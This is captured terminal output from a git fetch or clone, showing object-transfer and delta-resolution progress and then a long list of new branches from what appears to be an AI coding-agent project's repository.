Receiving objects: 54% (282927/523938), 1001.09 MiB | 29.64 MiB/s
Receiving objects: 55% (288166/523938), 1001.09 MiB | 29.64 MiB/s
Receiving objects: 56% (293406/523938), 1001.09 MiB | 29.64 MiB/s
Receiving objects: 57% (298645/523938), 1016.68 MiB | 29.64 MiB/s
Receiving objects: 58% (303885/523938), 1016.68 MiB | 29.64 MiB/s
Receiving objects: 59% (309124/523938), 1016.68 MiB | 29.64 MiB/s
Receiving objects: 59% (310545/523938), 1016.68 MiB | 29.64 MiB/s
Receiving objects: 60% (314363/523938), 1.00 GiB | 29.60 MiB/s
Receiving objects: 61% (319603/523938), 1.00 GiB | 29.60 MiB/s
Receiving objects: 62% (324842/523938), 1.02 GiB | 29.60 MiB/s
Receiving objects: 63% (330081/523938), 1.02 GiB | 29.60 MiB/s
Receiving objects: 64% (335321/523938), 1.02 GiB | 29.60 MiB/s
Receiving objects: 64% (340538/523938), 1.02 GiB | 29.60 MiB/s
Receiving objects: 65% (340560/523938), 1.02 GiB | 29.60 MiB/s
Receiving objects: 66% (345800/523938), 1.03 GiB | 29.61 MiB/s
Receiving objects: 67% (351039/523938), 1.03 GiB | 29.61 MiB/s
Receiving objects: 68% (356278/523938), 1.03 GiB | 29.61 MiB/s
Receiving objects: 69% (361518/523938), 1.03 GiB | 29.61 MiB/s
Receiving objects: 70% (366757/523938), 1.05 GiB | 29.57 MiB/s
Receiving objects: 71% (371996/523938), 1.05 GiB | 29.57 MiB/s
Receiving objects: 72% (377236/523938), 1.05 GiB | 29.57 MiB/s
Receiving objects: 73% (382475/523938), 1.05 GiB | 29.57 MiB/s
Receiving objects: 74% (387715/523938), 1.05 GiB | 29.57 MiB/s
Receiving objects: 74% (388704/523938), 1.05 GiB | 29.57 MiB/s
Receiving objects: 75% (392954/523938), 1.05 GiB | 29.57 MiB/s
Receiving objects: 76% (398193/523938), 1.05 GiB | 29.57 MiB/s
Receiving objects: 77% (403433/523938), 1.06 GiB | 29.56 MiB/s
Receiving objects: 78% (408672/523938), 1.06 GiB | 29.56 MiB/s
Receiving objects: 79% (413912/523938), 1.06 GiB | 29.56 MiB/s
Receiving objects: 80% (419151/523938), 1.06 GiB | 29.56 MiB/s
Receiving objects: 81% (424390/523938), 1.06 GiB | 29.56 MiB/s
Receiving objects: 82% (429630/523938), 1.06 GiB | 29.56 MiB/s
Receiving objects: 83% (434869/523938), 1.06 GiB | 29.56 MiB/s
Receiving objects: 84% (440108/523938), 1.06 GiB | 29.56 MiB/s
Receiving objects: 85% (445348/523938), 1.08 GiB | 29.56 MiB/s
Receiving objects: 86% (450587/523938), 1.08 GiB | 29.56 MiB/s
Receiving objects: 86% (455285/523938), 1.08 GiB | 29.56 MiB/s
Receiving objects: 87% (455827/523938), 1.08 GiB | 29.56 MiB/s
Receiving objects: 88% (461066/523938), 1.08 GiB | 29.56 MiB/s
Receiving objects: 89% (466305/523938), 1.09 GiB | 29.58 MiB/s
Receiving objects: 90% (471545/523938), 1.09 GiB | 29.58 MiB/s
Receiving objects: 91% (476784/523938), 1.09 GiB | 29.58 MiB/s
Receiving objects: 92% (482023/523938), 1.11 GiB | 29.76 MiB/s
Receiving objects: 92% (483353/523938), 1.11 GiB | 29.76 MiB/s
Receiving objects: 93% (487263/523938), 1.11 GiB | 29.76 MiB/s
Receiving objects: 94% (492502/523938), 1.12 GiB | 29.69 MiB/s
Receiving objects: 95% (497742/523938), 1.12 GiB | 29.69 MiB/s
Receiving objects: 96% (502981/523938), 1.12 GiB | 29.69 MiB/s
Receiving objects: 97% (508220/523938), 1.12 GiB | 29.69 MiB/s
Receiving objects: 98% (513460/523938), 1.14 GiB | 29.83 MiB/s
Receiving objects: 98% (514204/523938), 1.14 GiB | 29.83 MiB/s
Receiving objects: 99% (518699/523938), 1.15 GiB | 29.72 MiB/s
[Kremote: Total 523938 (delta 37239), reused 36552 (delta 36547), pack-reused 486437 (from 3)
Receiving objects: 100% (523938/523938), 1.15 GiB | 29.72 MiB/s
Receiving objects: 100% (523938/523938), 1.16 GiB | 22.75 MiB/s, done.
Resolving deltas: 0% (0/445606)
Resolving deltas: 1% (4460/445606)
Resolving deltas: 2% (8914/445606)
Resolving deltas: 3% (13369/445606)
Resolving deltas: 4% (17825/445606)
Resolving deltas: 5% (22281/445606)
Resolving deltas: 6% (26737/445606)
Resolving deltas: 7% (31193/445606)
Resolving deltas: 8% (35649/445606)
Resolving deltas: 9% (40105/445606)
Resolving deltas: 10% (44561/445606)
Resolving deltas: 11% (49017/445606)
Resolving deltas: 12% (53473/445606)
Resolving deltas: 13% (57929/445606)
Resolving deltas: 14% (62385/445606)
Resolving deltas: 15% (66841/445606)
Resolving deltas: 16% (71297/445606)
Resolving deltas: 17% (75754/445606)
Resolving deltas: 18% (80210/445606)
Resolving deltas: 19% (84666/445606)
Resolving deltas: 20% (89123/445606)
Resolving deltas: 21% (93580/445606)
Resolving deltas: 22% (98034/445606)
Resolving deltas: 23% (102490/445606)
Resolving deltas: 24% (106947/445606)
Resolving deltas: 25% (111403/445606)
Resolving deltas: 26% (115858/445606)
Resolving deltas: 27% (120314/445606)
Resolving deltas: 28% (124770/445606)
Resolving deltas: 29% (129226/445606)
Resolving deltas: 30% (133682/445606)
Resolving deltas: 30% (136030/445606)
Resolving deltas: 31% (138139/445606)
Resolving deltas: 32% (142594/445606)
Resolving deltas: 33% (147050/445606)
Resolving deltas: 34% (151507/445606)
Resolving deltas: 35% (155965/445606)
Resolving deltas: 36% (160419/445606)
Resolving deltas: 37% (164875/445606)
Resolving deltas: 38% (169331/445606)
Resolving deltas: 39% (173787/445606)
Resolving deltas: 40% (178244/445606)
Resolving deltas: 41% (182699/445606)
Resolving deltas: 42% (187155/445606)
Resolving deltas: 43% (191611/445606)
Resolving deltas: 44% (196067/445606)
Resolving deltas: 45% (200523/445606)
Resolving deltas: 46% (204980/445606)
Resolving deltas: 47% (209435/445606)
Resolving deltas: 48% (213891/445606)
Resolving deltas: 49% (218347/445606)
Resolving deltas: 50% (222803/445606)
Resolving deltas: 51% (227260/445606)
Resolving deltas: 52% (231717/445606)
Resolving deltas: 53% (236172/445606)
Resolving deltas: 54% (240628/445606)
Resolving deltas: 55% (245084/445606)
Resolving deltas: 56% (249540/445606)
Resolving deltas: 57% (253996/445606)
Resolving deltas: 58% (258452/445606)
Resolving deltas: 59% (262908/445606)
Resolving deltas: 60% (267364/445606)
Resolving deltas: 61% (271820/445606)
Resolving deltas: 62% (276276/445606)
Resolving deltas: 63% (280732/445606)
Resolving deltas: 64% (285188/445606)
Resolving deltas: 65% (289644/445606)
Resolving deltas: 66% (294100/445606)
Resolving deltas: 67% (298557/445606)
Resolving deltas: 68% (303013/445606)
Resolving deltas: 69% (307469/445606)
Resolving deltas: 70% (311925/445606)
Resolving deltas: 71% (316382/445606)
Resolving deltas: 72% (320839/445606)
Resolving deltas: 73% (325293/445606)
Resolving deltas: 74% (329749/445606)
Resolving deltas: 75% (334205/445606)
Resolving deltas: 76% (338662/445606)
Resolving deltas: 77% (343117/445606)
Resolving deltas: 78% (347573/445606)
Resolving deltas: 79% (352029/445606)
Resolving deltas: 80% (356485/445606)
Resolving deltas: 81% (360941/445606)
Resolving deltas: 82% (365398/445606)
Resolving deltas: 83% (369853/445606)
Resolving deltas: 84% (374311/445606)
Resolving deltas: 85% (378766/445606)
Resolving deltas: 86% (383222/445606)
Resolving deltas: 87% (387678/445606)
Resolving deltas: 88% (392134/445606)
Resolving deltas: 89% (396590/445606)
Resolving deltas: 90% (401046/445606)
Resolving deltas: 91% (405502/445606)
Resolving deltas: 92% (409958/445606)
Resolving deltas: 93% (414414/445606)
Resolving deltas: 94% (418870/445606)
Resolving deltas: 95% (423326/445606)
Resolving deltas: 95% (427753/445606)
Resolving deltas: 96% (427782/445606)
Resolving deltas: 97% (432238/445606)
Resolving deltas: 98% (436694/445606)
Resolving deltas: 98% (440748/445606)
Resolving deltas: 99% (441150/445606)
Resolving deltas: 100% (445606/445606)
Resolving deltas: 100% (445606/445606), completed with 2721 local objects.
* [new branch] 4063-rename-residue -> 4063-rename-residue
* [new branch] 8083-derived-config-ownership -> 8083-derived-config-ownership
* [new branch] acp_design -> acp_design
* [new branch] add-claude-github-actions-1780868657518 -> add-claude-github-actions-1780868657518
* [new branch] agent-permission-dialog-toolname -> agent-permission-dialog-toolname
* [new branch] agent/agent-view-commands -> agent/agent-view-commands
* [new branch] agent/agent-view-lifecycle -> agent/agent-view-lifecycle
* [new branch] agent/agent-view-pty-workers -> agent/agent-view-pty-workers
* [new branch] agent/agent-view-roster-ui -> agent/agent-view-roster-ui
* [new branch] agent/agent-view-supervisor-runtime -> agent/agent-view-supervisor-runtime
* [new branch] agent/channel-background-agent-resume -> agent/channel-background-agent-resume
* [new branch] agent/channel-background-notification-boundary -> agent/channel-background-notification-boundary
* [new branch] agent/daemon-memory-budget -> agent/daemon-memory-budget
* [new branch] agent/daemon-memory-observe -> agent/daemon-memory-observe
* [new branch] agent/daemon-resource-budget-foundation -> agent/daemon-resource-budget-foundation
* [new branch] agent/dingtalk-emotion-retry -> agent/dingtalk-emotion-retry
* [new branch] agent/dingtalk-status-card-continuity -> agent/dingtalk-status-card-continuity
* [new branch] agent/dsw-eas-sandbox-pipeline -> agent/dsw-eas-sandbox-pipeline
* [new branch] agent/dsw-swe-release-pipeline -> agent/dsw-swe-release-pipeline
* [new branch] agent/enterprise-memory-agent -> agent/enterprise-memory-agent
* [new branch] agent/enterprise-memory-apis -> agent/enterprise-memory-apis
* [new branch] agent/enterprise-memory-foundations -> agent/enterprise-memory-foundations
* [new branch] agent/enterprise-memory-lifecycle -> agent/enterprise-memory-lifecycle
* [new branch] agent/enterprise-memory-persistence -> agent/enterprise-memory-persistence
* [new branch] agent/fix-web-shell-session-refresh-auth -> agent/fix-web-shell-session-refresh-auth
* [new branch] agent/fork-resume-live-capabilities -> agent/fork-resume-live-capabilities
* [new branch] agent/mobile-mcp-node22 -> agent/mobile-mcp-node22
* [new branch] agent/non-primary-archive-hardening -> agent/non-primary-archive-hardening
* [new branch] agent/preserve-dingtalk-user-mentions -> agent/preserve-dingtalk-user-mentions
* [new branch] agent/qwen-benchmark-release-pipeline -> agent/qwen-benchmark-release-pipeline
* [new branch] agent/session-writer-lease -> agent/session-writer-lease
* [new branch] agent/submitted-prompt-provenance -> agent/submitted-prompt-provenance
* [new branch] agent/terminal-bench-release-chain -> agent/terminal-bench-release-chain
* [new branch] agent/untrusted-transcript-page-guards -> agent/untrusted-transcript-page-guards
* [new branch] archive/pr10458-loop-round14 -> archive/pr10458-loop-round14
* [new branch] assets/pr10024-validation -> assets/pr10024-validation
* [new branch] assets/pr10269-validation -> assets/pr10269-validation
* [new branch] assets/pr10393-validation -> assets/pr10393-validation
* [new branch] assets/pr10514-validation -> assets/pr10514-validation
* [new branch] assets/pr10639-validation -> assets/pr10639-validation
* [new branch] assets/pr10945-validation -> assets/pr10945-validation
* [new branch] assets/pr11285-validation -> assets/pr11285-validation
* [new branch] assets/pr6584-validation -> assets/pr6584-validation
* [new branch] assets/pr6739-validation -> assets/pr6739-validation
* [new branch] assets/pr6956-validation -> assets/pr6956-validation
* [new branch] assets/pr7185-validation -> assets/pr7185-validation
* [new branch] assets/pr7467-validation -> assets/pr7467-validation
* [new branch] assets/pr7839-validation -> assets/pr7839-validation
* [new branch] assets/pr7877-validation -> assets/pr7877-validation
* [new branch] assets/pr7893-validation -> assets/pr7893-validation
* [new branch] assets/pr7956-validation -> assets/pr7956-validation
* [new branch] assets/pr7996-validation -> assets/pr7996-validation
* [new branch] assets/pr8059-validation -> assets/pr8059-validation
* [new branch] assets/pr8068-validation -> assets/pr8068-validation
* [new branch] assets/pr8077-validation -> assets/pr8077-validation
* [new branch] assets/pr8152-validation -> assets/pr8152-validation
* [new branch] assets/pr8517-validation -> assets/pr8517-validation
* [new branch] assets/pr8607-validation -> assets/pr8607-validation
* [new branch] assets/pr8620-validation -> assets/pr8620-validation
* [new branch] assets/pr8621-validation -> assets/pr8621-validation
* [new branch] assets/pr8675-validation -> assets/pr8675-validation
* [new branch] assets/pr8687-validation -> assets/pr8687-validation
* [new branch] assets/pr8848-validation -> assets/pr8848-validation
* [new branch] assets/pr8900-validation -> assets/pr8900-validation
* [new branch] assets/pr9023-validation -> assets/pr9023-validation
* [new branch] assets/pr9040-validation -> assets/pr9040-validation
* [new branch] assets/pr9361-validation -> assets/pr9361-validation
* [new branch] assets/pr9396-validation -> assets/pr9396-validation
* [new branch] assets/pr9402-validation -> assets/pr9402-validation
* [new branch] assets/pr9541-validation -> assets/pr9541-validation
* [new branch] assets/pr9638-validation -> assets/pr9638-validation
* [new branch] assets/pr9719-validation -> assets/pr9719-validation
* [new branch] assets/pr9813-validation -> assets/pr9813-validation
* [new branch] assets/pr9921-validation -> assets/pr9921-validation
* [new branch] autofix-agent-budget -> autofix-agent-budget
* [new branch] autofix-deferred-followup -> autofix-deferred-followup
* [new branch] autofix-footprint-denydefault -> autofix-footprint-denydefault
* [new branch] autofix-growth-brake -> autofix-growth-brake
* [new branch] autofix-inround-self-review-ab -> autofix-inround-self-review-ab
* [new branch] autofix-regression-and-test-weakening-gates -> autofix-regression-and-test-weakening-gates
* [new branch] autofix-report-resolved-model -> autofix-report-resolved-model
* [new branch] autofix-validity-gate -> autofix-validity-gate
* [new branch] autofix/issue-10037 -> autofix/issue-10037
* [new branch] autofix/issue-10097 -> autofix/issue-10097
* [new branch] autofix/issue-10200 -> autofix/issue-10200
* [new branch] autofix/issue-10293 -> autofix/issue-10293
* [new branch] autofix/issue-10298 -> autofix/issue-10298
* [new branch] autofix/issue-10311 -> autofix/issue-10311
* [new branch] autofix/issue-10316 -> autofix/issue-10316
* [new branch] autofix/issue-10325 -> autofix/issue-10325
* [new branch] autofix/issue-10355 -> autofix/issue-10355
* [new branch] autofix/issue-10438 -> autofix/issue-10438
* [new branch] autofix/issue-10447 -> autofix/issue-10447
* [new branch] autofix/issue-10453 -> autofix/issue-10453
* [new branch] autofix/issue-10475 -> autofix/issue-10475
* [new branch] autofix/issue-10488 -> autofix/issue-10488
* [new branch] autofix/issue-10496 -> autofix/issue-10496
* [new branch] autofix/issue-10523 -> autofix/issue-10523
* [new branch] autofix/issue-10529 -> autofix/issue-10529
* [new branch] autofix/issue-10566 -> autofix/issue-10566
* [new branch] autofix/issue-10591 -> autofix/issue-10591
* [new branch] autofix/issue-10604 -> autofix/issue-10604
* [new branch] autofix/issue-10658 -> autofix/issue-10658
* [new branch] autofix/issue-10665 -> autofix/issue-10665
* [new branch] autofix/issue-10736 -> autofix/issue-10736
* [new branch] autofix/issue-10755 -> autofix/issue-10755
* [new branch] autofix/issue-10757 -> autofix/issue-10757
* [new branch] autofix/issue-10774 -> autofix/issue-10774
* [new branch] autofix/issue-10775 -> autofix/issue-10775
* [new branch] autofix/issue-10852 -> autofix/issue-10852
* [new branch] autofix/issue-10853 -> autofix/issue-10853
* [new branch] autofix/issue-10864 -> autofix/issue-10864
* [new branch] autofix/issue-10876 -> autofix/issue-10876
* [new branch] autofix/issue-10881 -> autofix/issue-10881
* [new branch] autofix/issue-10891 -> autofix/issue-10891
* [new branch] autofix/issue-10900 -> autofix/issue-10900
* [new branch] autofix/issue-10907 -> autofix/issue-10907
* [new branch] autofix/issue-10935 -> autofix/issue-10935
* [new branch] autofix/issue-10944 -> autofix/issue-10944
* [new branch] autofix/issue-10967 -> autofix/issue-10967
* [new branch] autofix/issue-10969 -> autofix/issue-10969
* [new branch] autofix/issue-10990 -> autofix/issue-10990
* [new branch] autofix/issue-10994 -> autofix/issue-10994
* [new branch] autofix/issue-11002 -> autofix/issue-11002
* [new branch] autofix/issue-11010 -> autofix/issue-11010
* [new branch] autofix/issue-11034 -> autofix/issue-11034
* [new branch] autofix/issue-11040 -> autofix/issue-11040
* [new branch] autofix/issue-11042 -> autofix/issue-11042
* [new branch] autofix/issue-11050 -> autofix/issue-11050
* [new branch] autofix/issue-11088 -> autofix/issue-11088
* [new branch] autofix/issue-11098 -> autofix/issue-11098
* [new branch] autofix/issue-11104 -> autofix/issue-11104
* [new branch] autofix/issue-11121 -> autofix/issue-11121
* [new branch] autofix/issue-11131 -> autofix/issue-11131
* [new branch] autofix/issue-11191 -> autofix/issue-11191
* [new branch] autofix/issue-11231 -> autofix/issue-11231
* [new branch] autofix/issue-11268 -> autofix/issue-11268
* [new branch] autofix/issue-11271 -> autofix/issue-11271
* [new branch] autofix/issue-11292 -> autofix/issue-11292
* [new branch] autofix/issue-11317 -> autofix/issue-11317
* [new branch] autofix/issue-11346 -> autofix/issue-11346
* [new branch] autofix/issue-11363 -> autofix/issue-11363
* [new branch] autofix/issue-11364 -> autofix/issue-11364
* [new branch] autofix/issue-11377 -> autofix/issue-11377
* [new branch] autofix/issue-11389 -> autofix/issue-11389
* [new branch] autofix/issue-11404 -> autofix/issue-11404
* [new branch] autofix/issue-11409 -> autofix/issue-11409
* [new branch] autofix/issue-11414 -> autofix/issue-11414
* [new branch] autofix/issue-11415 -> autofix/issue-11415
* [new branch] autofix/issue-11525 -> autofix/issue-11525
* [new branch] autofix/issue-11529 -> autofix/issue-11529
* [new branch] autofix/issue-11534 -> autofix/issue-11534
* [new branch] autofix/issue-11535 -> autofix/issue-11535
* [new branch] autofix/issue-11539 -> autofix/issue-11539
* [new branch] autofix/issue-11543 -> autofix/issue-11543
* [new branch] autofix/issue-11580 -> autofix/issue-11580
* [new branch] autofix/issue-11648 -> autofix/issue-11648
* [new branch] autofix/issue-11654 -> autofix/issue-11654
* [new branch] autofix/issue-11655 -> autofix/issue-11655
* [new branch] autofix/issue-11660 -> autofix/issue-11660
* [new branch] autofix/issue-11678 -> autofix/issue-11678
* [new branch] autofix/issue-3153 -> autofix/issue-3153
* [new branch] autofix/issue-3979 -> autofix/issue-3979
* [new branch] autofix/issue-5022 -> autofix/issue-5022
* [new branch] autofix/issue-6077 -> autofix/issue-6077
* [new branch] autofix/issue-6131 -> autofix/issue-6131
* [new branch] autofix/issue-6195 -> autofix/issue-6195
* [new branch] autofix/issue-6246 -> autofix/issue-6246
* [new branch] autofix/issue-6281 -> autofix/issue-6281
* [new branch] autofix/issue-6401 -> autofix/issue-6401
* [new branch] autofix/issue-6476 -> autofix/issue-6476
* [new branch] autofix/issue-6554 -> autofix/issue-6554
* [new branch] autofix/issue-6629 -> autofix/issue-6629
* [new branch] autofix/issue-6684 -> autofix/issue-6684
* [new branch] autofix/issue-6687 -> autofix/issue-6687
* [new branch] autofix/issue-6690 -> autofix/issue-6690
* [new branch] autofix/issue-6940 -> autofix/issue-6940
* [new branch] autofix/issue-6966 -> autofix/issue-6966
* [new branch] autofix/issue-6979 -> autofix/issue-6979
* [new branch] autofix/issue-7086 -> autofix/issue-7086
* [new branch] autofix/issue-7111 -> autofix/issue-7111
* [new branch] autofix/issue-7879 -> autofix/issue-7879
* [new branch] autofix/issue-7901 -> autofix/issue-7901
* [new branch] autofix/issue-7937 -> autofix/issue-7937
* [new branch] autofix/issue-7942 -> autofix/issue-7942
* [new branch] autofix/issue-7969 -> autofix/issue-7969
* [new branch] autofix/issue-8060 -> autofix/issue-8060
* [new branch] autofix/issue-8070 -> autofix/issue-8070
* [new branch] autofix/issue-8072 -> autofix/issue-8072
* [new branch] autofix/issue-8076 -> autofix/issue-8076
* [new branch] autofix/issue-8108 -> autofix/issue-8108
* [new branch] autofix/issue-8133 -> autofix/issue-8133
* [new branch] autofix/issue-8153 -> autofix/issue-8153
* [new branch] autofix/issue-8222 -> autofix/issue-8222
* [new branch] autofix/issue-8237 -> autofix/issue-8237
* [new branch] autofix/issue-8244 -> autofix/issue-8244
* [new branch] autofix/issue-8256 -> autofix/issue-8256
* [new branch] autofix/issue-8297 -> autofix/issue-8297
* [new branch] autofix/issue-8333 -> autofix/issue-8333
* [new branch] autofix/issue-8766 -> autofix/issue-8766
* [new branch] autofix/issue-9076 -> autofix/issue-9076
* [new branch] autofix/issue-9159 -> autofix/issue-9159
* [new branch] autofix/issue-9160 -> autofix/issue-9160
* [new branch] chore/11336-deferred-playwright-doc-followups -> chore/11336-deferred-playwright-doc-followups
* [new branch] chore/add-qqqys-core-codeowner -> chore/add-qqqys-core-codeowner
* [new branch] chore/add-release-yml -> chore/add-release-yml
* [new branch] chore/autofix-prose-migration -> chore/autofix-prose-migration
* [new branch] chore/bump-version-0.16.0 -> chore/bump-version-0.16.0
* [new branch] chore/bump-version-0.17.1 -> chore/bump-version-0.17.1
* [new branch] chore/ci-bump-docker-actions-node24 -> chore/ci-bump-docker-actions-node24
* [new branch] chore/ci-security-hygiene -> chore/ci-security-hygiene
* [new branch] chore/codeowners-cua-mobile-mcp -> chore/codeowners-cua-mobile-mcp
* [new branch] chore/codeowners-release-workflows -> chore/codeowners-release-workflows
* [new branch] chore/cua-driver-071-version-refs -> chore/cua-driver-071-version-refs
* [new branch] chore/cua-driver-v0.7.2-installers -> chore/cua-driver-v0.7.2-installers
* [new branch] chore/cua-sdk-trusted-publishing -> chore/cua-sdk-trusted-publishing
* [new branch] chore/cve-baseline-cleanup -> chore/cve-baseline-cleanup
* [new branch] chore/deps-bump-fast-uri -> chore/deps-bump-fast-uri
* [new branch] chore/deps-bump-sharp-0.35.4 -> chore/deps-bump-sharp-0.35.4
* [new branch] chore/disable-platform-lanes -> chore/disable-platform-lanes
* [new branch] chore/format-core-tool-scheduler-test -> chore/format-core-tool-scheduler-test
* [new branch] chore/harness -> chore/harness
* [new branch] chore/npm-publish-provenance -> chore/npm-publish-provenance
* [new branch] chore/pnpm-lock-gates -> chore/pnpm-lock-gates
* [new branch] chore/re-upgrade-ink-7-0-3 -> chore/re-upgrade-ink-7-0-3
* [new branch] chore/refresh-core-issue-owners -> chore/refresh-core-issue-owners
* [new branch] chore/release-ignore-scripts -> chore/release-ignore-scripts
* [new branch] chore/release-pr-skip-ci -> chore/release-pr-skip-ci
* [new branch] chore/remove-daemon-demo-page -> chore/remove-daemon-demo-page
* [new branch] chore/remove-npm-token -> chore/remove-npm-token
* [new branch] chore/remove-stale-express4 -> chore/remove-stale-express4
* [new branch] chore/remove-unwired-agent-view -> chore/remove-unwired-agent-view
* [new branch] chore/simplify-codeowners -> chore/simplify-codeowners
* [new branch] chore/sync-external-context-lockfile-version -> chore/sync-external-context-lockfile-version
* [new branch] chore/triage-reuse-check -> chore/triage-reuse-check
* [new branch] chore/update-create-issue-bilingual -> chore/update-create-issue-bilingual
* [new branch] chore/update-default-model-qwen3.7-max -> chore/update-default-model-qwen3.7-max
* [new branch] chore/upgrade-ink-7 -> chore/upgrade-ink-7
* [new branch] ci/audit-endpoint-retry -> ci/audit-endpoint-retry
* [new branch] ci/audit-endpoint-tolerance -> ci/audit-endpoint-tolerance
* [new branch] ci/auto-minimize-blocked-user-comments -> ci/auto-minimize-blocked-user-comments
* [new branch] ci/autofix-address-hardening -> ci/autofix-address-hardening
* [new branch] ci/autofix-agent-api-retry -> ci/autofix-agent-api-retry
* [new branch] ci/autofix-base-refusal-notice -> ci/autofix-base-refusal-notice
* [new branch] ci/autofix-bot-fork-auto -> ci/autofix-bot-fork-auto
* [new branch] ci/autofix-comment-bilingual -> ci/autofix-comment-bilingual
* [new branch] ci/autofix-concurrent-fanout -> ci/autofix-concurrent-fanout
* [new branch] ci/autofix-crash-retry -> ci/autofix-crash-retry
* [new branch] ci/autofix-deflake -> ci/autofix-deflake
* [new branch] ci/autofix-evidenced-verification -> ci/autofix-evidenced-verification
* [new branch] ci/autofix-fleet-summary -> ci/autofix-fleet-summary
* [new branch] ci/autofix-fork-takeover -> ci/autofix-fork-takeover
* [new branch] ci/autofix-gate-crash-retry -> ci/autofix-gate-crash-retry
* [new branch] ci/autofix-gate-feedback -> ci/autofix-gate-feedback
* [new branch] ci/autofix-gate-skip-llm-review -> ci/autofix-gate-skip-llm-review
* [new branch] ci/autofix-gate-stale-base-retry -> ci/autofix-gate-stale-base-retry
* [new branch] ci/autofix-heavy-jobs-ecs -> ci/autofix-heavy-jobs-ecs
* [new branch] ci/autofix-infra-signature-single-source -> ci/autofix-infra-signature-single-source
* [new branch] ci/autofix-max-parallel-5 -> ci/autofix-max-parallel-5
* [new branch] ci/autofix-max-rounds-10 -> ci/autofix-max-rounds-10
* [new branch] ci/autofix-model-attribution -> ci/autofix-model-attribution
* [new branch] ci/autofix-persistent-red-checks -> ci/autofix-persistent-red-checks
* [new branch] ci/autofix-progress-visibility -> ci/autofix-progress-visibility
* [new branch] ci/autofix-realtime-fork-pickup -> ci/autofix-realtime-fork-pickup
* [new branch] ci/autofix-rearm-command -> ci/autofix-rearm-command
* [new branch] ci/autofix-recovery-clone -> ci/autofix-recovery-clone
* [new branch] ci/autofix-rerun-infra-flake -> ci/autofix-rerun-infra-flake
* [new branch] ci/autofix-resolve-threads -> ci/autofix-resolve-threads
* [new branch] ci/autofix-retry-timeout -> ci/autofix-retry-timeout
* [new branch] ci/autofix-skill-escalate-decisions -> ci/autofix-skill-escalate-decisions
* [new branch] ci/autofix-skill-simplicity -> ci/autofix-skill-simplicity
* [new branch] ci/autofix-skill-staging-fix -> ci/autofix-skill-staging-fix
* [new branch] ci/autofix-skill-staging-test -> ci/autofix-skill-staging-test
* [new branch] ci/autofix-skipped-prepare-retry -> ci/autofix-skipped-prepare-retry
* [new branch] ci/autofix-status-round-number -> ci/autofix-status-round-number
* [new branch] ci/autofix-suggestions-per-agents-md -> ci/autofix-suggestions-per-agents-md
* [new branch] ci/autofix-takeover-label -> ci/autofix-takeover-label
* [new branch] ci/autofix-timeout-loop-cap -> ci/autofix-timeout-loop-cap
* [new branch] ci/autofix-unpark-stale-base -> ci/autofix-unpark-stale-base
* [new branch] ci/autofix-update-stale-base -> ci/autofix-update-stale-base
* [new branch] ci/autofix-verify-nested-pkg -> ci/autofix-verify-nested-pkg
* [new branch] ci/bump-qwen-code-action-05f8171 -> ci/bump-qwen-code-action-05f8171
* [new branch] ci/checkout-pr-head-sha -> ci/checkout-pr-head-sha
* [new branch] ci/coverage-main-only-node-env -> ci/coverage-main-only-node-env
* [new branch] ci/deferred-findings-issue-context -> ci/deferred-findings-issue-context
* [new branch] ci/desktop-follow-cli-release -> ci/desktop-follow-cli-release
* [new branch] ci/desktop-packaging-check -> ci/desktop-packaging-check
* [new branch] ci/desktop-promote -> ci/desktop-promote
* [new branch] ci/e2e-cancel-codeql-nightly -> ci/e2e-cancel-codeql-nightly
* [new branch] ci/e2e-linux-ecs -> ci/e2e-linux-ecs
* [new branch] ci/e2e-no-pr-trigger -> ci/e2e-no-pr-trigger
* [new branch] ci/ecs-runner-review-fixes -> ci/ecs-runner-review-fixes
* [new branch] ci/ecs-update-failure-issue -> ci/ecs-update-failure-issue
* [new branch] ci/ecs-update-wait-for-npm -> ci/ecs-update-wait-for-npm
* [new branch] ci/extend-pr-review-timeouts -> ci/extend-pr-review-timeouts
* [new branch] ci/flaky-test-timeouts -> ci/flaky-test-timeouts
* [new branch] ci/fleet-shepherd-v1 -> ci/fleet-shepherd-v1
* [new branch] ci/host-load-instrumentation -> ci/host-load-instrumentation
* [new branch] ci/increase-review-timeout-120m -> ci/increase-review-timeout-120m
* [new branch] ci/integration-tests-merge-gate -> ci/integration-tests-merge-gate
* [new branch] ci/isolate-agent-job-state -> ci/isolate-agent-job-state
* [new branch] ci/lint-gate-freshness -> ci/lint-gate-freshness
* [new branch] ci/lint-lane-guards-round2 -> ci/lint-lane-guards-round2
* [new branch] ci/maintainer-pr-self-hosted-runner -> ci/maintainer-pr-self-hosted-runner
* [new branch] ci/move-e2e-codeql-off-queue -> ci/move-e2e-codeql-off-queue
* [new branch] ci/move-release-classifier-to-release-workflow -> ci/move-release-classifier-to-release-workflow
* [new branch] ci/move-slow-checks-off-pr -> ci/move-slow-checks-off-pr
* [new branch] ci/npm-published-dispatch -> ci/npm-published-dispatch
* [new branch] ci/patrol-classify-timeout -> ci/patrol-classify-timeout
* [new branch] ci/pool-aware-test-timeouts -> ci/pool-aware-test-timeouts
* [new branch] ci/pr-head-write-lock -> ci/pr-head-write-lock
* [new branch] ci/pr-self-report-label -> ci/pr-self-report-label
* [new branch] ci/pr-triage-stage-split -> ci/pr-triage-stage-split
* [new branch] ci/quarantine-cron-interactive -> ci/quarantine-cron-interactive
* [new branch] ci/release-automerge-no-delete-branch -> ci/release-automerge-no-delete-branch
* [new branch] ci/release-retry-and-stale-comment -> ci/release-retry-and-stale-comment
* [new branch] ci/release-validation-contention -> ci/release-validation-contention
* [new branch] ci/resolve-forks-conflict-only -> ci/resolve-forks-conflict-only
* [new branch] ci/resolve-pr-hosted-runner -> ci/resolve-pr-hosted-runner
* [new branch] ci/resolve-report-contract -> ci/resolve-report-contract
* [new branch] ci/restore-main-push-fast-signal -> ci/restore-main-push-fast-signal
* [new branch] ci/revert-autofix-unpark -> ci/revert-autofix-unpark
* [new branch] ci/review-size-aware-timeout -> ci/review-size-aware-timeout
* [new branch] ci/review-timeout-externalize -> ci/review-timeout-externalize
* [new branch] ci/review-transient-retry -> ci/review-transient-retry
* [new branch] ci/security-checks-ecs -> ci/security-checks-ecs
* [new branch] ci/serve-ab-session-state-scenarios -> ci/serve-ab-session-state-scenarios
* [new branch] ci/shallow-fetch-ecs-test -> ci/shallow-fetch-ecs-test
* [new branch] ci/short-job-lane -> ci/short-job-lane
* [new branch] ci/size-job-caps-for-contended-install -> ci/size-job-caps-for-contended-install
* [new branch] ci/split-lint-static-lane -> ci/split-lint-static-lane
* [new branch] ci/split-oss-sync-from-release -> ci/split-oss-sync-from-release
* [new branch] ci/split-platform-tests-for-merge-queue -> ci/split-platform-tests-for-merge-queue
* [new branch] ci/split-static-checks -> ci/split-static-checks
